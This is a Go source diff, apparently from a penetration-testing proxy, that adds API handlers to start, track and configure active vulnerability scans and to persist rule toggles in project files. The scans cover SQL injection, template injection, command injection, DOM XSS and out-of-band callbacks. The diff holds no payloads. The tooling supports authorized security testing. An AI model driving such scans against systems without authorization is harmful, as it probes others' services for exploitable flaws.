if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("feed endpoint returned HTTP %d", resp.StatusCode)
}
return io.ReadAll(io.LimitReader(resp.Body, limitBytes))
}
// startFeedsLoop runs the periodic refresher for the life of the server.
//
// A one-minute ticker is the backstop resolution; the actual cadence is the operator's
// interval (floored at 15 min), tracked by nextRun. The loop no-ops while feeds are disabled
// in settings, so toggling them on takes effect with no restart — and a handler kicks an
// immediate refresh on an enable-flip so the UI does not wait up to a minute. feedsCtx is set
// here, before serving, so a handler-kicked refresh can outlive its request.
func (s *APIServer) startFeedsLoop(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
s.feedsCtx = ctx
go func() {
// A short settle so startup is not a thundering herd of outbound calls.
select {
case <-ctx.Done():
return
case <-time.After(10 * time.Second):
}
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
var nextRun time.Time // zero => run on the first enabled pass
for {
st := s.feedsStore.Get()
if st.Enabled && (nextRun.IsZero() || !time.Now().Before(nextRun)) {
s.refreshFeedsTick(ctx)
nextRun = time.Now().Add(time.Duration(st.IntervalMinutes) * time.Minute)
}
select {
case <-ctx.Done():
return
case <-ticker.C:
}
}
}()
}
// refreshFeedsTick refreshes the enabled categories and broadcasts the summary. A no-op when
// feeds are off, so every caller (the loop, the manual-refresh handler, the enable kick) can
// call it unconditionally.
func (s *APIServer) refreshFeedsTick(ctx context.Context) {
if s.feeds == nil || s.feedsStore == nil {
return
}
st := s.feedsStore.Get()
if !st.Enabled {
return
}
snap := s.feeds.Refresh(ctx, st.Categories)
s.hub.Broadcast() <- event.WSEvent{Type: "feeds.updated", Data: feedsSummary(snap)}
}
// feedsContext returns the server-lifetime context for a handler-kicked refresh, falling back
// to Background if the loop never started (it always does in proxy mode when feeds are on).
func (s *APIServer) feedsContext() context.Context {
if s.feedsCtx != nil {
return s.feedsCtx
}
return context.Background()
}
// feedsSummaryData is the small, droppable hint pushed on feeds.updated. The client re-GETs
// the authoritative snapshot, the same pattern tech.detected / detect.summary use.
type feedsSummaryData struct {
GeneratedAt time.Time `json:"generatedAt"`
Counts map[string]int `json:"counts"`
AnyStale bool `json:"anyStale"`
}
func feedsSummary(snap feeds.Snapshot) feedsSummaryData {
counts := make(map[string]int, len(snap.Items))
for cat, list := range snap.Items {
counts[string(cat)] = len(list)
}
anyStale := false
for _, src := range snap.Sources {
if src.Stale {
anyStale = true
break
}
}
return feedsSummaryData{GeneratedAt: snap.GeneratedAt, Counts: counts, AnyStale: anyStale}
}
+498
View File
@@ -0,0 +1,498 @@
package api
import (
"context"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
// activeScanAvailable guards the active-scan routes, which exist only in proxy
// mode. A JSON 404 rather than an unregistered route, so the SPA catch-all does
// not answer with 200 + HTML.
func (s *APIServer) activeScanAvailable(w http.ResponseWriter) bool {
if s.activeScans == nil || s.activeScanRules == nil {
writeError(w, http.StatusNotFound, "active scanning is not available in this mode")
return false
}
return true
}
// activeScanRequest starts a scan of a host or a single request.
type activeScanRequest struct {
// Scope is "host" (every captured GET endpoint for Origin) or "request" (one
// URL, from RequestID or URL).
Scope string `json:"scope"`
Origin string `json:"origin,omitempty"` // scheme://host[:port], for a host scan
URL string `json:"url,omitempty"` // a single URL, e.g. from Manipulate
RequestID string `json:"requestId,omitempty"` // a captured request to scan
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
BudgetMs int `json:"budgetMs,omitempty"`
// Template-signature rule options. Tags and Severity narrow which signatures
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
Tags []string `json:"tags,omitempty"`
Severity []string `json:"severity,omitempty"`
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
// OAST opts out-of-band testing in or out when a listener is configured; nil
// (omitted) leaves it on, false turns it off. It never enables OAST when no
// callback domain is configured — that gate is server-side.
OAST *bool `json:"oast,omitempty"`
}
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
var req activeScanRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
target, err := s.resolveScanTarget(req)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Scope filter, never a rule-count check: InScope returns true when scope
// filtering is disabled, so with scope off nothing is rejected and the scan
// covers every target. A host scan silently drops out-of-scope endpoints; a
// single-request scan whose one URL is out of scope is refused outright so the
// operator is not left with a silent, empty run.
inScope, skipped := s.filterInScope(target.URLs)
if len(inScope) == 0 {
if req.Scope == "request" {
writeError(w, http.StatusForbidden, "target is out of scope; adjust scope rules or disable scope filtering")
return
}
writeError(w, http.StatusBadRequest, "no in-scope GET endpoints to scan for this host")
return
}
target.URLs = inScope
rules := s.activeScanRules.Resolve(req.Rules)
cfg := activescan.Config{
Scope: req.Scope,
Rules: req.Rules,
BudgetMs: req.BudgetMs,
Tags: req.Tags,
Severity: req.Severity,
IgnoreFingerprint: req.IgnoreFingerprint,
NoOAST: req.OAST != nil && !*req.OAST,
}
total, err := activescan.Plan(cfg, target, rules)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
ruleIDs := make([]string, 0, len(rules))
for _, rule := range rules {
ruleIDs = append(ruleIDs, rule.ID())
}
// One at a time, globally. A DOM XSS scan drives a single browser and a future
// state-changing rule would race the target's own state; the claim and the
// insert are one operation so two requests cannot both pass.
run := activescan.NewRun(proxy.GenerateID(), cfg, target, ruleIDs, total)
if running := s.activeScans.AddIfIdle(run); running != nil {
writeError(w, http.StatusConflict,
fmt.Sprintf("a scan of %q is already in flight; stop it before starting another", running.Origin))
return
}
deps := activescan.Deps{
Broadcast: s.hub.Broadcast(),
Findings: s.detectFindings,
Notify: s.broadcastDetectSummary,
Registry: s.activeScanRules,
RuleDeps: activescan.RuleDeps{
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CA: s.ca,
Store: s.store,
Scope: s.scope,
DataDir: s.cfg.DataDir,
Tech: s.techStore(),
Callback: s.cbStore,
},
}
// context.Background, not the request's: a scan outlives the HTTP call.
go activescan.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "total": total, "rules": ruleIDs,
"urls": len(target.URLs), "skipped": skipped,
})
}
// resolveScanTarget turns a request into the concrete URLs to scan.
func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target, error) {
switch req.Scope {
case "host":
if req.Origin == "" {
return activescan.Target{}, fmt.Errorf("origin is required for a host scan")
}
return s.hostTarget(req.Origin)
case "request":
return s.requestTarget(req)
default:
return activescan.Target{}, fmt.Errorf("scope must be \"host\" or \"request\"")
}
}
// hostTarget collects a host's distinct requests from the capture store, carrying
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
// Not capped by a request count — the scan budget bounds the work.
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return activescan.Target{}, fmt.Errorf("invalid origin")
}
reqs := s.store.NodeRequests(origin, "", false, proxy.RequestFilter{})
seen := map[string]bool{}
var urls []activescan.TargetURL
for _, cr := range reqs {
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
if seen[key] {
continue
}
seen[key] = true
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
}
if len(urls) == 0 {
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
}
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
}
// requestTarget builds a single-request target from a captured request or a raw
// URL, carrying the raw bytes and method for the injection rules.
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
rawURL := strings.TrimSpace(req.URL)
method := "GET"
requestID := ""
var rawReq []byte
if req.RequestID != "" {
cr := s.store.Get(req.RequestID)
if cr == nil {
return activescan.Target{}, fmt.Errorf("no such request")
}
rawURL = cr.URL
requestID = cr.ID
method = cr.Method
rawReq = cr.ReqRaw
}
if rawURL == "" {
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
}
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" || u.Scheme == "" {
return activescan.Target{}, fmt.Errorf("invalid url")
}
return activescan.Target{
Scheme: u.Scheme,
Host: u.Host,
Origin: u.Scheme + "://" + u.Host,
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
}, nil
}
// filterInScope keeps only URLs that pass scope, returning the kept set and the
// number dropped. With scope filtering disabled, InScope is true for all.
func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activescan.TargetURL, skipped int) {
for _, tu := range urls {
u, err := url.Parse(tu.URL)
if err != nil {
skipped++
continue
}
method := tu.Method
if method == "" {
method = "GET"
}
if s.scope.InScope(u.Host, method, u.Path) {
kept = append(kept, tu)
} else {
skipped++
}
}
return kept, skipped
}
// activeRuleSeverity is the representative severity shown for a single-row active
// rule in the Rules UI; the actual findings carry their own confirmed severity.
func activeRuleSeverity(cat detect.Category) detect.Severity {
switch cat {
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
return detect.SeverityCritical
case detect.CategoryOpenRedirect:
return detect.SeverityMedium
default:
return detect.SeverityHigh
}
}
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rules := s.activeScanRules.All()
out := make([]map[string]any, 0, len(rules))
for _, rule := range rules {
entry := map[string]any{
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
"description": rule.Description(),
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
}
// hasSignatures tells the UI to render the rule's catalog items as rows rather
// than the rule as a single row: any rule implementing Cataloger has a catalog.
_, hasCatalog := rule.(activescan.Cataloger)
entry["hasSignatures"] = hasCatalog
// A single-row rule carries the row's severity/confidence/target (its
// representative class severity); a catalog rule's rows carry their own.
if !hasCatalog {
entry["severity"] = string(activeRuleSeverity(rule.Category()))
entry["confidence"] = string(detect.ConfidenceHigh)
entry["target"] = string(detect.TargetMessage)
}
out = append(out, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
}
// handleSetActiveScanRuleEnabled toggles whether a rule runs when a scan is
// started without an explicit rule selection. The toggle persists with the
// project, so it marks the config dirty. Mirrors handleSetDetectRuleEnabled.
func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
id := r.PathValue("id")
if s.activeScanRules.Get(id) == nil {
writeError(w, http.StatusNotFound, "no such rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.activeScanRules.SetEnabled(id, body.Enabled)
// The toggle is picked up by the next autosave tick, which compares
// projectSignature (now carrying the disabled set); no explicit save here.
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
func (s *APIServer) collectDisabledItems() map[string][]string {
if s.activeScanRules == nil {
return nil
}
out := map[string][]string{}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
if d := c.DisabledItems(); len(d) > 0 {
out[rule.ID()] = d
}
}
}
if len(out) == 0 {
return nil
}
return out
}
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
// rules on a project restore; a missing key clears that rule's set (everything enabled).
func (s *APIServer) applyDisabledItems(m map[string][]string) {
if s.activeScanRules == nil {
return
}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
c.SetDisabledItems(m[rule.ID()])
}
}
}
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
// autosave dirty-check (registration order is stable, so the string is deterministic).
func (s *APIServer) disabledItemsSignature() string {
if s.activeScanRules == nil {
return ""
}
var b strings.Builder
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
}
}
return b.String()
}
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
// so any catalog rule (template signatures, the injection rules) works generically.
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
if s.activeScanRules == nil {
return nil
}
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
return c
}
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
// signature or check, with its enabled-state and per-severity counts.
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
items := rule.CatalogItems()
bySeverity := map[string]int{}
for i := range items {
bySeverity[items[i].Severity]++
}
writeJSON(w, http.StatusOK, map[string]any{
"signatures": items, "total": len(items), "bySeverity": bySeverity,
})
}
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
// catalog in one call — the "Enable all / Disable all" control.
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Enabled {
rule.SetDisabledItems(nil)
} else {
items := rule.CatalogItems()
ids := make([]string, 0, len(items))
for i := range items {
ids = append(ids, items[i].ID)
}
rule.SetDisabledItems(ids)
}
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
// project (projectSignature carries the disabled set), like the rule toggle.
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
runs := s.activeScans.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
out = append(out, activeScanHead(run))
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func activeScanHead(run *activescan.Run) map[string]any {
completed, errs, findings := run.Counts()
return map[string]any{
"id": run.ID, "host": run.Host, "origin": run.Origin, "scope": run.Scope,
"rules": run.Rules, "status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "findings": findings,
"createdAt": run.CreatedAt,
}
}
func (s *APIServer) handleActiveScanGetRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
body := activeScanHead(run)
body["errorMessages"] = run.Errors()
writeJSON(w, http.StatusOK, body)
}
func (s *APIServer) handleActiveScanStopRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleActiveScanDeleteRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == activescan.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.activeScans.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
+29
View File
@@ -101,6 +101,35 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusCreated, token)
}
// handleVerifyCallback confirms that a value observed out of band (reflected in a
// target response, read from a protocol field) is the response hash this server
// derives for a token — so OAST tooling can validate a hit without reimplementing
// the derivation. The derivation is public (sha256 of the token), so this leaks
// nothing; it exists to spare clients the reimplementation and to return the
// owning token's ID when the value matches a live token.
func (s *APIServer) handleVerifyCallback(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
Token string `json:"token"`
Value string `json:"value"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
valid := body.Token != "" && callback.ResponseHash(body.Token) == strings.TrimSpace(body.Value)
resp := map[string]any{"valid": valid}
if valid {
if tok, err := s.cbStore.FindTokenByHex(body.Token); err == nil {
resp["tokenId"] = tok.ID
}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
+124 -13
View File
@@ -11,13 +11,16 @@ import (
"log"
"net/http"
"slices"
"strings"
"time"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
"github.com/hashicorp/go-uuid"
)
@@ -63,12 +66,18 @@ type projectReplaceRule struct {
MatchType string `json:"matchType"`
Match string `json:"match"`
Replace string `json:"replace"`
// Disabled persists the per-rule opt-out as a disabled flag (absent = enabled),
// so an existing .joro written before this field loads every rule enabled with no
// version bump or normalizeProjectConfig backfill.
Disabled bool `json:"disabled,omitempty"`
}
type projectCustomItem struct {
Type string `json:"type"`
Name string `json:"name"`
Value string `json:"value"`
// Disabled: see projectReplaceRule.Disabled.
Disabled bool `json:"disabled,omitempty"`
}
type projectNote struct {
@@ -102,6 +111,8 @@ type projectDetectConfig struct {
SkipContentTypes []string `json:"skipContentTypes,omitempty"`
SkipExtensions []string `json:"skipExtensions,omitempty"`
ExcludeHosts []string `json:"excludeHosts,omitempty"`
AnomalyEnabled bool `json:"anomalyEnabled,omitempty"`
AnomalySensitivity string `json:"anomalySensitivity,omitempty"`
}
// projectDetectRule is a custom detection rule as persisted. Unlike the scope,
@@ -217,6 +228,28 @@ type projectConfigFile struct {
// no field to leave out. The raws ride as base64 because that is what
// encoding/json does with []byte.
Chains []*chain.Chain `json:"chains,omitempty"`
// EchoConfig is the reflection mapper's settings (schema v9). Only the
// settings travel: the map itself is derived from history and a rescan
// rebuilds it, so persisting it would store a second copy of captured
// traffic that a project load could not keep in step with the first.
EchoConfig *echo.Config `json:"echoConfig,omitempty"`
// ActiveScanDisabledRules lists the active-scan rule IDs the operator turned
// off (schema v10). Only the exceptions travel, so a project that never
// touched them decodes to nil and runs every rule — no normalize gate needed,
// for the same reason EchoConfig/Chains above need none.
ActiveScanDisabledRules []string `json:"activeScanDisabledRules,omitempty"`
// ActiveScanDisabledSignatures is the legacy (schema v11) flat list of disabled
// template-signature IDs. Read-only now: it is folded into
// ActiveScanDisabledItems["templatesig"] on load so old projects still restore.
ActiveScanDisabledSignatures []string `json:"activeScanDisabledSignatures,omitempty"`
// ActiveScanDisabledItems holds each catalog rule's disabled item IDs, keyed by
// rule id (schema v12). Generalizes ActiveScanDisabledSignatures to every rule
// with a catalog (template signatures + the injection rules). Exceptions-only.
ActiveScanDisabledItems map[string][]string `json:"activeScanDisabledItems,omitempty"`
}
// encodePluginStates base64-encodes each blob for transport inside a JSON
@@ -293,13 +326,13 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
replaceRules := s.replace.Rules()
pReplaceRules := make([]projectReplaceRule, len(replaceRules))
for i, r := range replaceRules {
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
pReplaceRules[i] = projectReplaceRule{Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Disabled: !r.Enabled}
}
customItems := s.customData.Items()
pCustomItems := make([]projectCustomItem, len(customItems))
for i, item := range customItems {
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value}
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value, Disabled: !item.Enabled}
}
var pNotes []projectNote
@@ -347,12 +380,25 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
dEnabled, dCfg, dDisabled, dOverrides, dRules, dFindings := s.detectStateForProject()
var echoCfg *echo.Config
if s.echoEngine != nil {
c := s.echoEngine.Config()
echoCfg = &c
}
var activeScanDisabled []string
if s.activeScanRules != nil {
activeScanDisabled = s.activeScanRules.Disabled()
}
activeScanDisabledItems := s.collectDisabledItems()
return projectConfigFile{
// v8 added Chains; v7 added AutomationStates. Neither needs a
// normalizeProjectConfig gate: both decode to nil when absent, which is the
// correct default — a backfill exists only where the zero value would be
// wrong, as it was for autoSave and detectEnabled.
Version: 8,
// v12 generalized disabled signatures to ActiveScanDisabledItems (per-rule
// catalog disables); v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8
// Chains; v7 AutomationStates. None needs a normalizeProjectConfig gate: all
// decode to nil when absent, which is the correct default — and the legacy v11
// ActiveScanDisabledSignatures is folded into the map on apply.
Version: 12,
AutoSave: autoSave,
SaveHistory: saveHistory,
ListenerURL: listenerURL,
@@ -384,7 +430,10 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
// state the first time anyone else saves.
AutomationStates: encodePluginStates(mergePluginStates(automationGhost, automationFresh)),
Chains: s.chainStore.List(),
Chains: s.chainStore.List(),
EchoConfig: echoCfg,
ActiveScanDisabledRules: activeScanDisabled,
ActiveScanDisabledItems: activeScanDisabledItems,
}
}
@@ -569,11 +618,27 @@ func (s *APIServer) liveStateSignature() string {
if s.chainStore != nil {
chainCount, chainRev = s.chainStore.Count(), s.chainStore.Revision()
}
// Only the reflection settings are saved, so only they are fingerprinted:
// the map's own revision changes on every analyzed response and would force
// a project save every tick while proxying.
echoSig := ""
if s.echoEngine != nil {
c := s.echoEngine.Config()
echoSig = fmt.Sprintf("/ec%v.%d.%d.%d", c.Enabled, c.MinValueLen,
c.TransformDepth, c.MaxBodyScanBytes)
}
// Only the active-rule toggles persist, so only they are fingerprinted — not
// the run list, which is session state.
activeScanSig := ""
if s.activeScanRules != nil {
activeScanSig = "/as" + strings.Join(s.activeScanRules.Disabled(), ",")
}
activeScanSig += s.disabledItemsSignature()
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d/lc%d.%d",
reqCount, lastSeq, noteCount, maxNoteUpdate, hlCount,
scopeSignature(s.scope.Rules()), len(s.replace.Rules()),
len(s.customData.Items()), len(s.noise.Patterns()), chainCount, chainRev) +
s.detectSignature() + s.automationSignature()
s.detectSignature() + s.automationSignature() + echoSig + activeScanSig
}
// saveProject snapshots live state to the named project's .joro (respecting its
@@ -664,6 +729,15 @@ func (s *APIServer) resetLiveProjectState() {
if s.chainRuns != nil {
s.chainRuns.Clear()
}
if s.activeScans != nil {
s.activeScans.Clear()
}
// The reflection map describes the previous engagement's traffic, so it goes
// with it; the settings return to their defaults alongside.
if s.echoEngine != nil {
s.echoStore.Clear()
s.echoEngine.SetConfig(echo.DefaultConfig())
}
// An automation's key/value state describes the engagement it was gathered in.
if s.automationStorage != nil {
@@ -762,10 +836,39 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
if s.chainRuns != nil {
s.chainRuns.Clear()
}
if s.activeScans != nil {
s.activeScans.Clear()
}
if s.chainStore != nil {
s.chainStore.ReplaceAll(cfg.Chains)
}
// The reflection map is derived from the history being replaced, so it is
// cleared rather than loaded; its settings are project data and are applied.
// An older file carries none, and the defaults are the right answer there.
if s.echoEngine != nil {
s.echoStore.Clear()
if cfg.EchoConfig != nil {
s.echoEngine.SetConfig(*cfg.EchoConfig)
} else {
s.echoEngine.SetConfig(echo.DefaultConfig())
}
}
// Active-rule toggles are project data; a nil slice (an older file, or a
// project that never changed them) clears the disabled set, so every rule runs.
if s.activeScanRules != nil {
s.activeScanRules.SetDisabled(cfg.ActiveScanDisabledRules)
}
// Per-catalog-item disables, keyed by rule id; a missing key clears that rule's
// set. Fold the legacy v11 flat signature list into the template rule's entry so
// old project files still restore.
items := cfg.ActiveScanDisabledItems
if items == nil && len(cfg.ActiveScanDisabledSignatures) > 0 {
items = map[string][]string{"templatesig": cfg.ActiveScanDisabledSignatures}
}
s.applyDisabledItems(items)
// Apply team server settings.
s.mu.Lock()
nickname := cfg.TeamNickname
@@ -803,14 +906,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
replaceRules := make([]proxy.MatchReplaceRule, len(cfg.ReplaceRules))
for i, r := range cfg.ReplaceRules {
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace}
replaceRules[i] = proxy.MatchReplaceRule{ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled}
}
s.replace.SetEnabled(cfg.ReplaceEnabled)
s.replace.SetRules(replaceRules)
customItems := make([]proxy.CustomAddition, len(cfg.CustomDataItems))
for i, item := range cfg.CustomDataItems {
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value}
customItems[i] = proxy.CustomAddition{ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value, Enabled: !item.Disabled}
}
s.customData.SetEnabled(cfg.CustomDataEnabled)
s.customData.SetItems(customItems)
@@ -870,6 +973,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
detectResp := s.applyDetectProjectConfig(cfg)
s.resetDetectCursor(s.store.LastSeq())
// The fingerprint cursor was just parked forward past the loaded history, so the
// live loop would skip it. Backfill the loaded hosts with a background rescan —
// tech data is cheap and tag-only (unlike detect's findings, which is why detect
// requires an explicit rescan). Clear:true drops the previous project's tags.
if s.techEngine != nil && s.store.Count() > 0 {
s.techEngine.StartRescan(s.detectBackgroundCtx(), techfp.RescanRequest{Scope: "all", Clear: true})
}
var unknownPluginStates []string
if s.pluginManager != nil {
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
@@ -1559,7 +1670,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
continue
}
replaceRules = append(replaceRules, proxy.MatchReplaceRule{
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace, Enabled: !r.Disabled,
})
}
s.replace.SetRules(replaceRules)
@@ -1575,7 +1686,7 @@ func (s *APIServer) handleApplySharedConfig(w http.ResponseWriter, r *http.Reque
continue
}
customItems = append(customItems, proxy.CustomAddition{
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value,
ID: proxy.GenerateID(), Type: it.Type, Name: it.Name, Value: it.Value, Enabled: !it.Disabled,
})
}
s.customData.SetItems(customItems)
+16
View File
@@ -56,6 +56,22 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
writeJSON(w, http.StatusCreated, item)
}
func (s *APIServer) handleSetCustomDataItemEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.customData.SetItemEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "item not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.customData.RemoveItem(id) {
+8
View File
@@ -93,6 +93,8 @@ type detectConfigPatch struct {
SkipContentTypes *[]string `json:"skipContentTypes"`
SkipExtensions *[]string `json:"skipExtensions"`
ExcludeHosts *[]string `json:"excludeHosts"`
AnomalyEnabled *bool `json:"anomalyEnabled"`
AnomalySensitivity *string `json:"anomalySensitivity"`
}
// handleSetDetectConfig applies a partial configuration update.
@@ -133,6 +135,12 @@ func (s *APIServer) handleSetDetectConfig(w http.ResponseWriter, r *http.Request
if patch.ExcludeHosts != nil {
cfg.ExcludeHosts = *patch.ExcludeHosts
}
if patch.AnomalyEnabled != nil {
cfg.AnomalyEnabled = *patch.AnomalyEnabled
}
if patch.AnomalySensitivity != nil {
cfg.AnomalySensitivity = *patch.AnomalySensitivity
}
